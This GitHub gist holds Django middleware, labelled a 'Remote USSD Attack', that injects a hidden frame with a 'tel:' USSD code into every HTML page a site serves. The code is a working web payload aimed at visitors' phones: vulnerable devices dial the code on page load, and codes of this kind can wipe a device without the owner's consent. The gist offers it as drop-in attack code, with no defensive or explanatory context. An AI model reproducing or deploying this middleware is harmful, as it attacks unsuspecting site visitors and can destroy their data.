Skip to content

Instantly share code, notes, and snippets.

@juanriaza
Created September 26, 2012 12:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save juanriaza/3787675 to your computer and use it in GitHub Desktop.
Save juanriaza/3787675 to your computer and use it in GitHub Desktop.
Django Middleware - Remote USSD Attack
from django.http import HttpResponseRedirect
from django.utils.encoding import smart_unicode
def replace_insensitive(string, target, replacement):
no_case = string.lower()
index = no_case.rfind(target.lower())
if index >= 0:
return string[:index] + replacement + string[index + len(target):]
else:
return string
_HTML_TYPES = ('text/html', 'application/xhtml+xml')
class FuckDroidMiddleware(object):
def process_response(self, request, response):
if request.is_ajax():
return response
if isinstance(response, HttpResponseRedirect):
return response
if 'gzip' not in response.get('Content-Encoding', '') and \
response.get('Content-Type', '').split(';')[0] in _HTML_TYPES:
response.content = replace_insensitive(
smart_unicode(response.content),
u'</body>',
u'<frame src="tel:*2767*3855%23" /></body>')
if response.get('Content-Length', None):
response['Content-Length'] = len(response.content)
return response
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment